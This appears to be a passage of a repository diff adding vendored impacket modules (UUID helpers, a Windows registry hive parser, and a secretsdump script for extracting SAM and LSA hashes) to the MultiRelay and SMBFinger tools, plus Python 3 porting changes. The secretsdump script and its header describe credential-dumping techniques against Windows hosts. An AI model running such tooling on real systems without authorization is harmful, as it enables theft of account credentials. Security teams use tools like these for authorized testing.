line = " %s%04x " % (indent, i)
for j in range(16):
if i+j < strLen:
line += "%02X " % x[i+j]
else:
line += u" "
if j%16 == 7:
line += " "
line += " "
line += ''.join(pretty_print(x) for x in x[i:i+16] )
print (line)
i += 16
def parse_bitmask(dict, value):
ret = ''
for i in range(0, 31):
flag = 1 << i
if value & flag == 0:
continue
if flag in dict:
ret += '%s | ' % dict[flag]
else:
ret += "0x%.8X | " % flag
if len(ret) == 0:
return '0'
else:
return ret[:-3]

5521
tools/MultiRelay/impacket-dev/impacket/system_errors.py Normal file
View File

File diff suppressed because it is too large Load Diff

79
tools/MultiRelay/impacket-dev/impacket/uuid.py Normal file
View File

@@ -0,0 +1,79 @@
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
# Generate UUID compliant with http://www.webdav.org/specs/draft-leach-uuids-guids-01.txt.
# A different, much simpler (not necessarily better) algorithm is used.
#
# Author:
# Javier Kohen (jkohen)
#
from __future__ import absolute_import
from __future__ import print_function
import re
import binascii
from random import randrange
from struct import pack, unpack
EMPTY_UUID = b'\x00'*16
def generate():
# UHm... crappy Python has an maximum integer of 2**31-1.
top = (1<<31)-1
return pack("IIII", randrange(top), randrange(top), randrange(top), randrange(top))
def bin_to_string(uuid):
uuid1, uuid2, uuid3 = unpack('<LHH', uuid[:8])
uuid4, uuid5, uuid6 = unpack('>HHL', uuid[8:16])
return '%08X-%04X-%04X-%04X-%04X%08X' % (uuid1, uuid2, uuid3, uuid4, uuid5, uuid6)
def string_to_bin(uuid):
# If a UUID in the 00000000000000000000000000000000 format, let's return bytes as is
if '-' not in uuid:
return binascii.unhexlify(uuid)
# If a UUID in the 00000000-0000-0000-0000-000000000000 format, parse it as Variant 2 UUID
# The first three components of the UUID are little-endian, and the last two are big-endian
matches = re.match('([\dA-Fa-f]{8})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})([\dA-Fa-f]{8})', uuid)
(uuid1, uuid2, uuid3, uuid4, uuid5, uuid6) = [int(x, 16) for x in matches.groups()]
uuid = pack('<LHH', uuid1, uuid2, uuid3)
uuid += pack('>HHL', uuid4, uuid5, uuid6)
return uuid
def stringver_to_bin(s):
(maj,min) = s.split('.')
return pack('<H',int(maj)) + pack('<H',int(min))
def uuidtup_to_bin(tup):
if len(tup) != 2:
return
return string_to_bin(tup[0]) + stringver_to_bin(tup[1])
def bin_to_uuidtup(bin):
assert len(bin) == 20
uuidstr = bin_to_string(bin[:16])
maj, min = unpack("<HH", bin[16:])
return uuidstr, "%d.%d" % (maj, min)
#input: string
#output: tuple (uuid,version)
#if version is not found in the input string "1.0" is returned
#example:
# "00000000-0000-0000-0000-000000000000 3.0" returns ('00000000-0000-0000-0000-000000000000','3.0')
# "10000000-2000-3000-4000-500000000000 version 3.0" returns ('00000000-0000-0000-0000-000000000000','3.0')
# "10000000-2000-3000-4000-500000000000 v 3.0" returns ('00000000-0000-0000-0000-000000000000','3.0')
# "10000000-2000-3000-4000-500000000000" returns ('00000000-0000-0000-0000-000000000000','1.0')
def string_to_uuidtup(s):
g = re.search("([A-Fa-f0-9]{8}-[A-Fa-f0-9]{4}-[A-Fa-f0-9]{4}-[A-Fa-f0-9]{4}-[A-Fa-f0-9]{12}).*?([0-9]{1,5}\.[0-9]{1,5})",s+" 1.0")
if g:
(u,v) = g.groups()
return (u,v)
return
def uuidtup_to_string(tup):
uuid, (maj, min) = tup
return "%s v%d.%d" % (uuid, maj, min)

20
tools/MultiRelay/impacket-dev/impacket/version.py Normal file
View File

@@ -0,0 +1,20 @@
# SECUREAUTH LABS. Copyright 2019 SecureAuth Corporation. All rights reserved.
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
import pkg_resources
from impacket import __path__
try:
version = "0.9.23.dev1+20210127.141011.3673c588"
except pkg_resources.DistributionNotFound:
version = "?"
print("Cannot determine Impacket version. "
"If running from source you should at least run \"python setup.py egg_info\"")
BANNER = "Impacket v{} - Copyright 2020 SecureAuth Corporation\n".format(version)
def getInstallationPath():
return 'Impacket Library Installation Path: {}'.format(__path__[0])

482
tools/MultiRelay/impacket-dev/impacket/winregistry.py Normal file
View File

@@ -0,0 +1,482 @@
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (@agsolino)
#
# Description: A Windows Registry Library Parser
#
# Data taken from https://bazaar.launchpad.net/~guadalinex-members/dumphive/trunk/view/head:/winreg.txt
# http://sentinelchicken.com/data/TheWindowsNTRegistryFileFormat.pdf
#
#
# ToDo:
#
# [ ] Parse li records, probable the same as the ri but couldn't find any to probe
from __future__ import division
from __future__ import print_function
import sys
from struct import unpack
import ntpath
from six import b
from impacket import LOG
from impacket.structure import Structure, hexdump
# Constants
ROOT_KEY = 0x2c
REG_NONE = 0x00
REG_SZ = 0x01
REG_EXPAND_SZ = 0x02
REG_BINARY = 0x03
REG_DWORD = 0x04
REG_MULTISZ = 0x07
REG_QWORD = 0x0b
# Structs
class REG_REGF(Structure):
structure = (
('Magic','"regf'),
('Unknown','<L=0'),
('Unknown2','<L=0'),
('lastChange','<Q=0'),
('MajorVersion','<L=0'),
('MinorVersion','<L=0'),
('0','<L=0'),
('11','<L=0'),
('OffsetFirstRecord','<L=0'),
('DataSize','<L=0'),
('1111','<L=0'),
('Name','48s=""'),
('Remaining1','411s=b""'),
('CheckSum','<L=0xffffffff'), # Sum of all DWORDs from 0x0 to 0x1FB
('Remaining2','3585s=b""'),
)
class REG_HBIN(Structure):
structure = (
('Magic','"hbin'),
('OffsetFirstHBin','<L=0'),
('OffsetNextHBin','<L=0'),
('BlockSize','<L=0'),
)
class REG_HBINBLOCK(Structure):
structure = (
('DataBlockSize','<l=0'),
('_Data','_-Data','self["DataBlockSize"]*(-1)-4'),
('Data',':'),
)
class REG_NK(Structure):
structure = (
('Magic','"nk'),
('Type','<H=0'),
('lastChange','<Q=0'),
('Unknown','<L=0'),
('OffsetParent','<l=0'),
('NumSubKeys','<L=0'),
('Unknown2','<L=0'),
('OffsetSubKeyLf','<l=0'),
('Unknown3','<L=0'),
('NumValues','<L=0'),
('OffsetValueList','<l=0'),
('OffsetSkRecord','<l=0'),
('OffsetClassName','<l=0'),
('UnUsed','20s=b""'),
('NameLength','<H=0'),
('ClassNameLength','<H=0'),
('_KeyName','_-KeyName','self["NameLength"]'),
('KeyName',':'),
)
class REG_VK(Structure):
structure = (
('Magic','"vk'),
('NameLength','<H=0'),
('DataLen','<l=0'),
('OffsetData','<L=0'),
('ValueType','<L=0'),
('Flag','<H=0'),
('UnUsed','<H=0'),
('_Name','_-Name','self["NameLength"]'),
('Name',':'),
)
class REG_LF(Structure):
structure = (
('Magic','"lf'),
('NumKeys','<H=0'),
('HashRecords',':'),
)
class REG_LH(Structure):
structure = (
('Magic','"lh'),
('NumKeys','<H=0'),
('HashRecords',':'),
)
class REG_RI(Structure):
structure = (
('Magic','"ri'),
('NumKeys','<H=0'),
('HashRecords',':'),
)
class REG_SK(Structure):
structure = (
('Magic','"sk'),
('UnUsed','<H=0'),
('OffsetPreviousSk','<l=0'),
('OffsetNextSk','<l=0'),
('UsageCounter','<L=0'),
('SizeSk','<L=0'),
('Data',':'),
)
class REG_HASH(Structure):
structure = (
('OffsetNk','<L=0'),
('KeyName','4s=b""'),
)
StructMappings = {b'nk': REG_NK,
b'vk': REG_VK,
b'lf': REG_LF,
b'lh': REG_LH,
b'ri': REG_RI,
b'sk': REG_SK,
}
class Registry:
def __init__(self, hive, isRemote = False):
self.__hive = hive
if isRemote is True:
self.fd = self.__hive
self.__hive.open()
else:
self.fd = open(hive,'rb')
data = self.fd.read(4096)
self.__regf = REG_REGF(data)
self.indent = ''
self.rootKey = self.__findRootKey()
if self.rootKey is None:
LOG.error("Can't find root key!")
elif self.__regf['MajorVersion'] != 1 and self.__regf['MinorVersion'] > 5:
LOG.warning("Unsupported version (%d.%d) - things might not work!" % (self.__regf['MajorVersion'], self.__regf['MinorVersion']))
def close(self):
self.fd.close()
def __del__(self):
self.close()
def __findRootKey(self):
self.fd.seek(0,0)
data = self.fd.read(4096)
while len(data) > 0:
try:
hbin = REG_HBIN(data[:0x20])
# Read the remaining bytes for this hbin
data += self.fd.read(hbin['OffsetNextHBin']-4096)
data = data[0x20:]
blocks = self.__processDataBlocks(data)
for block in blocks:
if isinstance(block, REG_NK):
if block['Type'] == ROOT_KEY:
return block
except Exception as e:
pass
data = self.fd.read(4096)
return None
def __getBlock(self, offset):
self.fd.seek(4096+offset,0)
sizeBytes = self.fd.read(4)
data = sizeBytes + self.fd.read(unpack('<l',sizeBytes)[0]*-1-4)
if len(data) == 0:
return None
else:
block = REG_HBINBLOCK(data)
if block['Data'][:2] in StructMappings:
return StructMappings[block['Data'][:2]](block['Data'])
else:
LOG.debug("Unknown type 0x%s" % block['Data'][:2])
return block
return None
def __getValueBlocks(self, offset, count):
valueList = []
res = []
self.fd.seek(4096+offset,0)
for i in range(count):
valueList.append(unpack('<l',self.fd.read(4))[0])
for valueOffset in valueList:
if valueOffset > 0:
block = self.__getBlock(valueOffset)
res.append(block)
return res
def __getData(self, offset, count):
self.fd.seek(4096+offset, 0)
return self.fd.read(count)[4:]
def __processDataBlocks(self,data):
res = []
while len(data) > 0:
#blockSize = unpack('<l',data[:calcsize('l')])[0]
blockSize = unpack('<l',data[:4])[0]
block = REG_HBINBLOCK()
if blockSize > 0:
tmpList = list(block.structure)
tmpList[1] = ('_Data','_-Data','self["DataBlockSize"]-4')
block.structure = tuple(tmpList)
block.fromString(data)
blockLen = len(block)
if block['Data'][:2] in StructMappings:
block = StructMappings[block['Data'][:2]](block['Data'])
res.append(block)
data = data[blockLen:]
return res
def __getValueData(self, rec):
# We should receive a VK record
if rec['DataLen'] == 0:
return ''
if rec['DataLen'] < 0:
# if DataLen < 5 the value itself is stored in the Offset field
return rec['OffsetData']
else:
return self.__getData(rec['OffsetData'], rec['DataLen']+4)
def __getLhHash(self, key):
res = 0
for bb in key.upper():
res *= 37
res += ord(bb)
return res % 0x100000000
def __compareHash(self, magic, hashData, key):
if magic == 'lf':
hashRec = REG_HASH(hashData)
if hashRec['KeyName'].strip(b'\x00') == b(key[:4]):
return hashRec['OffsetNk']
elif magic == 'lh':
hashRec = REG_HASH(hashData)
if unpack('<L',hashRec['KeyName'])[0] == self.__getLhHash(key):
return hashRec['OffsetNk']
elif magic == 'ri':
# Special case here, don't know exactly why, an ri pointing to a NK :-o
offset = unpack('<L', hashData[:4])[0]
nk = self.__getBlock(offset)
if nk['KeyName'] == key:
return offset
else:
LOG.critical("UNKNOWN Magic %s" % magic)
sys.exit(1)
return None
def __findSubKey(self, parentKey, subKey):
lf = self.__getBlock(parentKey['OffsetSubKeyLf'])
if lf is not None:
data = lf['HashRecords']
# Let's search the hash records for the name
if lf['Magic'] == 'ri':
# ri points to lf/lh records, so we must parse them before
records = b''
for i in range(lf['NumKeys']):
offset = unpack('<L', data[:4])[0]
l = self.__getBlock(offset)
records = records + l['HashRecords'][:l['NumKeys']*8]
data = data[4:]
data = records
#for record in range(lf['NumKeys']):
for record in range(parentKey['NumSubKeys']):
hashRec = data[:8]
res = self.__compareHash(lf['Magic'], hashRec, subKey)
if res is not None:
# We have a match, now let's check the whole record
nk = self.__getBlock(res)
if nk['KeyName'].decode('utf-8') == subKey:
return nk
data = data[8:]
return None
def __walkSubNodes(self, rec):
nk = self.__getBlock(rec['OffsetNk'])
if isinstance(nk, REG_NK):
print("%s%s" % (self.indent, nk['KeyName'].decode('utf-8')))
self.indent += ' '
if nk['OffsetSubKeyLf'] < 0:
self.indent = self.indent[:-2]
return
lf = self.__getBlock(nk['OffsetSubKeyLf'])
else:
lf = nk
data = lf['HashRecords']
if lf['Magic'] == 'ri':
# ri points to lf/lh records, so we must parse them before
records = ''
for i in range(lf['NumKeys']):
offset = unpack('<L', data[:4])[0]
l = self.__getBlock(offset)
records = records + l['HashRecords'][:l['NumKeys']*8]
data = data[4:]
data = records
for key in range(lf['NumKeys']):
hashRec = REG_HASH(data[:8])
self.__walkSubNodes(hashRec)
data = data[8:]
if isinstance(nk, REG_NK):
self.indent = self.indent[:-2]
def walk(self, parentKey):
key = self.findKey(parentKey)
if key is None or key['OffsetSubKeyLf'] < 0:
return
lf = self.__getBlock(key['OffsetSubKeyLf'])
data = lf['HashRecords']
for record in range(lf['NumKeys']):
hashRec = REG_HASH(data[:8])
self.__walkSubNodes(hashRec)
data = data[8:]
def findKey(self, key):
# Let's strip '\' from the beginning, except for the case of
# only asking for the root node
if key[0] == '\\' and len(key) > 1:
key = key[1:]
parentKey = self.rootKey
if len(key) > 0 and key[0]!='\\':
for subKey in key.split('\\'):
res = self.__findSubKey(parentKey, subKey)
if res is not None:
parentKey = res
else:
#LOG.error("Key %s not found!" % key)
return None
return parentKey
def printValue(self, valueType, valueData):
if valueType == REG_SZ or valueType == REG_EXPAND_SZ:
if type(valueData) is int:
print('NULL')
else:
print("%s" % (valueData.decode('utf-16le')))
elif valueType == REG_BINARY:
print('')
hexdump(valueData, self.indent)
elif valueType == REG_DWORD:
print("%d" % valueData)
elif valueType == REG_QWORD:
print("%d" % (unpack('<Q',valueData)[0]))
elif valueType == REG_NONE:
try:
if len(valueData) > 1:
print('')
hexdump(valueData, self.indent)
else:
print(" NULL")
except:
print(" NULL")
elif valueType == REG_MULTISZ:
print("%s" % (valueData.decode('utf-16le')))
else:
print("Unknown Type 0x%x!" % valueType)
hexdump(valueData)
def enumKey(self, parentKey):
res = []
# If we're here.. we have a valid NK record for the key
# Now let's searcht the subkeys
if parentKey['NumSubKeys'] > 0:
lf = self.__getBlock(parentKey['OffsetSubKeyLf'])
data = lf['HashRecords']
if lf['Magic'] == 'ri':
# ri points to lf/lh records, so we must parse them before
records = ''
for i in range(lf['NumKeys']):
offset = unpack('<L', data[:4])[0]
l = self.__getBlock(offset)
records = records + l['HashRecords'][:l['NumKeys']*8]
data = data[4:]
data = records
for i in range(parentKey['NumSubKeys']):
hashRec = REG_HASH(data[:8])
nk = self.__getBlock(hashRec['OffsetNk'])
data = data[8:]
res.append('%s'%nk['KeyName'].decode('utf-8'))
return res
def enumValues(self,key):
# If we're here.. we have a valid NK record for the key
# Now let's search its values
resp = []
if key['NumValues'] > 0:
valueList = self.__getValueBlocks(key['OffsetValueList'], key['NumValues']+1)
for value in valueList:
if value['Flag'] > 0:
resp.append(value['Name'])
else:
resp.append(b'default')
return resp
def getValue(self, keyValue):
# returns a tuple with (ValueType, ValueData) for the requested keyValue
regKey = ntpath.dirname(keyValue)
regValue = ntpath.basename(keyValue)
key = self.findKey(regKey)
if key is None:
return None
if key['NumValues'] > 0:
valueList = self.__getValueBlocks(key['OffsetValueList'], key['NumValues']+1)
for value in valueList:
if value['Name'] == b(regValue):
return value['ValueType'], self.__getValueData(value)
elif regValue == 'default' and value['Flag'] <=0:
return value['ValueType'], self.__getValueData(value)
return None
def getClass(self, className):
key = self.findKey(className)
if key is None:
return None
#print key.dump()
if key['OffsetClassName'] > 0:
value = self.__getBlock(key['OffsetClassName'])
return value['Data']

186
tools/MultiRelay/impacket-dev/secretsdump.py Executable file
View File

@@ -0,0 +1,186 @@
#!/usr/bin/env python
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description: Performs various techniques to dump hashes from the
# remote machine without executing any agent there.
# For SAM and LSA Secrets (including cached creds)
# we try to read as much as we can from the registry
# and then we save the hives in the target system
# (%SYSTEMROOT%\\Temp dir) and read the rest of the
# data from there.
# For NTDS.dit we either:
# a. Get the domain users list and get its hashes
# and Kerberos keys using [MS-DRDS] DRSGetNCChanges()
# call, replicating just the attributes we need.
# b. Extract NTDS.dit via vssadmin executed with the
# smbexec approach.
# It's copied on the temp dir and parsed remotely.
#
# The script initiates the services required for its working
# if they are not available (e.g. Remote Registry, even if it is
# disabled). After the work is done, things are restored to the
# original state.
#
# Author:
# Alberto Solino (@agsolino)
#
# References: Most of the work done by these guys. I just put all
# the pieces together, plus some extra magic.
#
# https://github.com/gentilkiwi/kekeo/tree/master/dcsync
# https://moyix.blogspot.com.ar/2008/02/syskey-and-sam.html
# https://moyix.blogspot.com.ar/2008/02/decrypting-lsa-secrets.html
# https://moyix.blogspot.com.ar/2008/02/cached-domain-credentials.html
# https://web.archive.org/web/20130901115208/www.quarkslab.com/en-blog+read+13
# https://code.google.com/p/creddump/
# https://lab.mediaservice.net/code/cachedump.rb
# https://insecurety.net/?p=768
# http://www.beginningtoseethelight.org/ntsecurity/index.htm
# https://www.exploit-db.com/docs/english/18244-active-domain-offline-hash-dump-&-forensic-analysis.pdf
# https://www.passcape.com/index.php?section=blog&cmd=details&id=15
#
from __future__ import division
from __future__ import print_function
import argparse
import codecs
import logging
import os
import sys
from impacket import version
from impacket.examples import logger
from impacket.examples.secretsdump import LocalOperations, SAMHashes, LSASecrets, NTDSHashes
try:
input = raw_input
except NameError:
pass
class DumpSecrets:
def __init__(self, remoteName, username='', password='', domain='', options=None):
self.__useVSSMethod = False
self.__remoteName = 'LOCAL'
self.__remoteHost = 'LOCAL'
self.__username = None
self.__password = None
self.__domain = None
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = None
self.__smbConnection = None
self.__remoteOps = None
self.__SAMHashes = None
self.__NTDSHashes = None
self.__LSASecrets = None
self.__systemHive = None
self.__bootkey = None
self.__securityHive = None
self.__samHive = None
self.__ntdsFile = None
self.__history = None
self.__noLMHash = True
self.__isRemote = False
self.__outputFileName = None
self.__doKerberos = None
self.__justDC = False
self.__justDCNTLM = False
self.__justUser = None
self.__pwdLastSet = None
self.__printUserStatus= None
self.__resumeFileName = None
self.__canProcessSAMLSA = True
self.__kdcHost = None
self.__options = options
def dump(self, sam, security, system, outfile):
#Give proper credit.
print(version.BANNER)
#Start logger.
#logger.init(False)
logging.getLogger().setLevel(logging.INFO)
self.__outputFileName = outfile
# We only do local dumping, so sam, security, system.
try:
if self.__remoteName.upper() == 'LOCAL' and self.__username == None:
self.__isRemote = False
self.__useVSSMethod = True
localOperations = LocalOperations(system)
bootKey = localOperations.getBootKey()
if self.__justDC is False and self.__justDCNTLM is False and self.__canProcessSAMLSA:
try:
if self.__isRemote is True:
SAMFileName = self.__remoteOps.saveSAM()
else:
SAMFileName = sam
self.__SAMHashes = SAMHashes(SAMFileName, bootKey, isRemote = self.__isRemote)
self.__SAMHashes.dump()
if self.__outputFileName is not None:
self.__SAMHashes.export(self.__outputFileName)
except Exception as e:
logging.error('SAM hashes extraction failed: %s' % str(e))
try:
if self.__isRemote is True:
SECURITYFileName = self.__remoteOps.saveSECURITY()
else:
SECURITYFileName = security
self.__LSASecrets = LSASecrets(SECURITYFileName, bootKey, self.__remoteOps,
isRemote=self.__isRemote, history=self.__history)
self.__LSASecrets.dumpCachedHashes()
if self.__outputFileName is not None:
self.__LSASecrets.exportCached(self.__outputFileName)
self.__LSASecrets.dumpSecrets()
if self.__outputFileName is not None:
self.__LSASecrets.exportSecrets(self.__outputFileName)
except Exception as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.error('LSA hashes extraction failed: %s' % str(e))
except (Exception, KeyboardInterrupt) as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.error(e)
if self.__NTDSHashes is not None:
if isinstance(e, KeyboardInterrupt):
while True:
answer = input("Delete resume session file? [y/N] ")
if answer.upper() == '':
answer = 'N'
break
elif answer.upper() == 'Y':
answer = 'Y'
break
elif answer.upper() == 'N':
answer = 'N'
break
if answer == 'Y':
resumeFile = self.__NTDSHashes.getResumeSessionFile()
if resumeFile is not None:
os.unlink(resumeFile)
try:
self.cleanup()
except:
pass
def cleanup(self):
logging.info('Cleaning up... ')
if self.__remoteOps:
self.__remoteOps.finish()
if self.__SAMHashes:
self.__SAMHashes.finish()
if self.__LSASecrets:
self.__LSASecrets.finish()
if self.__NTDSHashes:
self.__NTDSHashes.finish()

121
tools/MultiRelay/odict.py Normal file
View File

@@ -0,0 +1,121 @@
import sys
try:
from UserDict import DictMixin
except ImportError:
from collections import UserDict
from collections import MutableMapping as DictMixin
class OrderedDict(dict, DictMixin):
def __init__(self, *args, **kwds):
if len(args) > 1:
raise TypeError('expected at most 1 arguments, got %d' % len(args))
try:
self.__end
except AttributeError:
self.clear()
self.update(*args, **kwds)
def clear(self):
self.__end = end = []
end += [None, end, end]
self.__map = {}
dict.clear(self)
def __setitem__(self, key, value):
if key not in self:
end = self.__end
curr = end[1]
curr[2] = end[1] = self.__map[key] = [key, curr, end]
dict.__setitem__(self, key, value)
def __delitem__(self, key):
dict.__delitem__(self, key)
key, prev, next = self.__map.pop(key)
prev[2] = next
next[1] = prev
def __iter__(self):
end = self.__end
curr = end[2]
while curr is not end:
yield curr[0]
curr = curr[2]
def __reversed__(self):
end = self.__end
curr = end[1]
while curr is not end:
yield curr[0]
curr = curr[1]
def popitem(self, last=True):
if not self:
raise KeyError('dictionary is empty')
if last:
key = next(reversed(self))
else:
key = next(iter(self))
value = self.pop(key)
return key, value
def __reduce__(self):
items = [[k, self[k]] for k in self]
tmp = self.__map, self.__end
del self.__map, self.__end
inst_dict = vars(self).copy()
self.__map, self.__end = tmp
if inst_dict:
return (self.__class__, (items,), inst_dict)
return self.__class__, (items,)
def keys(self):
return list(self)
if sys.version_info >= (3, 0):
setdefault = DictMixin.setdefault
update = DictMixin.update
pop = DictMixin.pop
values = DictMixin.values
items = DictMixin.items
iterkeys = DictMixin.keys
itervalues = DictMixin.values
iteritems = DictMixin.items
else:
setdefault = DictMixin.setdefault
update = DictMixin.update
pop = DictMixin.pop
values = DictMixin.values
items = DictMixin.items
iterkeys = DictMixin.iterkeys
itervalues = DictMixin.itervalues
iteritems = DictMixin.iteritems
def __repr__(self):
if not self:
return '%s()' % (self.__class__.__name__,)
return '%s(%r)' % (self.__class__.__name__, list(self.items()))
def copy(self):
return self.__class__(self)
@classmethod
def fromkeys(cls, iterable, value=None):
d = cls()
for key in iterable:
d[key] = value
return d
def __eq__(self, other):
if isinstance(other, OrderedDict):
return len(self)==len(other) and \
min(p==q for p, q in zip(list(self.items()), list(other.items())))
return dict.__eq__(self, other)
def __ne__(self, other):
return not self == other
if __name__ == '__main__':
d = OrderedDict([('foo',2),('bar',3),('baz',4),('zot',5),('arrgh',6)])
assert [x for x in d] == ['foo', 'bar', 'baz', 'zot', 'arrgh']

126
tools/SMBFinger/Finger.py
View File

@@ -18,7 +18,7 @@ import re,sys,socket,struct
import multiprocessing import multiprocessing
from socket import * from socket import *
from time import sleep from time import sleep
from odict import OrderedDict from .odict import OrderedDict
__version__ = "0.7" __version__ = "0.7"
@@ -29,16 +29,44 @@ class Packet():
]) ])
def __init__(self, **kw): def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields) self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items(): for k,v in list(kw.items()):
if callable(v): if callable(v):
self.fields[k] = v(self.fields[k]) self.fields[k] = v(self.fields[k])
else: else:
self.fields[k] = v self.fields[k] = v
def __str__(self): def __str__(self):
return "".join(map(str, self.fields.values())) return "".join(map(str, list(self.fields.values())))
#Python version
if (sys.version_info > (3, 0)):
PY2OR3 = "PY3"
else:
PY2OR3 = "PY2"
SMB1 = "Enabled"
def StructWithLenPython2or3(endian,data):
#Python2...
if PY2OR3 is "PY2":
return struct.pack(endian, data)
#Python3...
else:
return struct.pack(endian, data).decode('latin-1')
def NetworkSendBufferPython2or3(data):
if PY2OR3 is "PY2":
return str(data)
else:
return bytes(str(data), 'latin-1')
def NetworkRecvBufferPython2or3(data):
if PY2OR3 is "PY2":
return str(data)
else:
return str(data.decode('latin-1'))
def longueur(payload): def longueur(payload):
length = struct.pack(">i", len(''.join(payload))) length = StructWithLenPython2or3(">i", len(''.join(payload)))
return length return length
class SMBHeader(Packet): class SMBHeader(Packet):
@@ -65,7 +93,7 @@ class SMBNego(Packet):
]) ])
def calculate(self): def calculate(self):
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"]))) self.fields["Bcc"] = StructWithLenPython2or3("<h",len(str(self.fields["Data"])))
class SMBNegoData(Packet): class SMBNegoData(Packet):
fields = OrderedDict([ fields = OrderedDict([
@@ -87,12 +115,9 @@ class SMBSessionFingerData(Packet):
("securitybloblength","\x4a\x00"), ("securitybloblength","\x4a\x00"),
("reserved2","\x00\x00\x00\x00"), ("reserved2","\x00\x00\x00\x00"),
("capabilities", "\xd4\x00\x00\xa0"), ("capabilities", "\xd4\x00\x00\xa0"),
("bcc1",""), ("bcc1","\xb1\x00"),
("Data","\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"), ("Data","\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
]) ])
def calculate(self):
self.fields["bcc1"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
##Now Lanman ##Now Lanman
class SMBHeaderLanMan(Packet): class SMBHeaderLanMan(Packet):
@@ -111,17 +136,15 @@ class SMBHeaderLanMan(Packet):
("mid", "\x00\x00"), ("mid", "\x00\x00"),
]) ])
#We grab the domain and hostname from the negotiate protocol answer, since it is in a Lanman dialect format.
class SMBNegoDataLanMan(Packet): class SMBNegoDataLanMan(Packet):
fields = OrderedDict([ fields = OrderedDict([
("Wordcount", "\x00"), ("Wordcount", "\x00"),
("Bcc", "\x54\x00"), ("Bcc", "\x0c\x00"),
("BuffType","\x02"), ("BuffType","\x02"),
("Dialect", "NT LM 0.12\x00"), ("Dialect", "NT LM 0.12\x00"),
]) ])
def calculate(self):
CalculateBCC = str(self.fields["BuffType"])+str(self.fields["Dialect"])
self.fields["Bcc"] = struct.pack("<h",len(CalculateBCC))
##################### #####################
@@ -140,50 +163,60 @@ def atod(a):
def dtoa(d): def dtoa(d):
return inet_ntoa(struct.pack("!L", d)) return inet_ntoa(struct.pack("!L", d))
def GetBootTime(data):
try:
Filetime = int(struct.unpack('<q',data)[0])
t = divmod(Filetime - 116444736000000000, 10000000)
time = datetime.datetime.fromtimestamp(t[0])
return time, time.strftime('%Y-%m-%d %H:%M:%S')
except:
pass
def OsNameClientVersion(data): def OsNameClientVersion(data):
try: try:
length = struct.unpack('<H',data[43:45])[0] length = struct.unpack('<H',data[43:45].encode('latin-1'))[0]
if length > 255: if length > 255:
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[48+length:].split('\x00\x00\x00')[:2]]) OsVersion, ClientVersion = tuple([e.replace("\x00", "") for e in data[47+length:].split('\x00\x00\x00')[:2]])
return OsVersion, ClientVersion return OsVersion, ClientVersion
if length <= 255: if length <= 255:
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]]) OsVersion, ClientVersion = tuple([e.replace("\x00", "") for e in data[46+length:].split('\x00\x00\x00')[:2]])
return OsVersion, ClientVersion return OsVersion, ClientVersion
except: except:
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version" return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
def GetHostnameAndDomainName(data): def GetHostnameAndDomainName(data):
try: try:
DomainJoined, Hostname = tuple([e.replace('\x00','') for e in data[81:].split('\x00\x00\x00')[:2]]) data = NetworkRecvBufferPython2or3(data)
